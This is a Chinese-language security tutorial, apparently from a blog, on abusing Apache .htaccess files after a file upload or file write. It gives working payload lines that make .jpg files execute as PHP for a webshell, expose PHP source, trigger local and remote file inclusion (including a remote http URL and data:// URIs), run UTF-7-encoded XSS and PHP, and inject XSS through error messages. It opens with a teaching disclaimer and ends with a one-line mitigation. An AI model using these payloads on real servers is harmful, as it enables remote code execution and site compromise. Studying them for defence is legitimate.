作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途



Apache服务器.htaccess利用


了解.htaccess

.htaccess文件是Apache的一个配置文件(没有文件名,只有一个后缀),他是改变某一目录单独的配置。

通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

利用方式

通过文件上传方式,上传.htaccess文件到Apache服务器

通过文件写入方式,写入配置代码到.htaccess文件

实现效果

在.htaccess文件中写入以下内容

1.改变文件解码方式

 AppType    application/x-httpd-php     .jpg 

经常使用在文件上传中,指定jpg后缀的文件为php解码方式。上传jpg的图片马,自动解析为php文件,即可实现getshell。

2.源码公开

php_flag engine 0

当.htaccess配置源码公开,将会在浏览器返回php源码内容。

3.文件包含与代码执行

php_value auto_append_file D:/123.txt 

在打开index.php的同时会自动包含指定文件

文件包含会将被引用的文件当做php文件解码。

php_value auto_append_file .htaccess #<?php phpinfo();?> 

包含.htaccess自身,同时执行PHP代码,实现php代码执行

4.远程文件包含与代码执行

php_flag allow_url_include 1 #php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file http://www.xxx.com/zzz.txt 

将此目录下的远程文件包含配置打开,通过不同的远程包含方式包含目标文件,被引用的文件当做php文件执行。(#井号后为注释)

5.UTF-7编码实现XSS和PHP代码执行

php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw-script+AD4-alert(/xss/)+ADsAPA-/script+AD4  #+ADw?php phpinfo()+ADs 

设置编码方式,文件包含自身,将代码解码后实现xss和php代码执行(后两句为utf-7编码后的xss语句和php语句)

6.通过错误消息链接进行XSS

当php文件产生错误信息时候会触发xss

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(/xss/);</script>"
总结

.htaccess利用方式多种多样,控制了它相当于控制了半个Apache服务器。

防护措施就是做好文件上传防护措施,防止对文件的修改。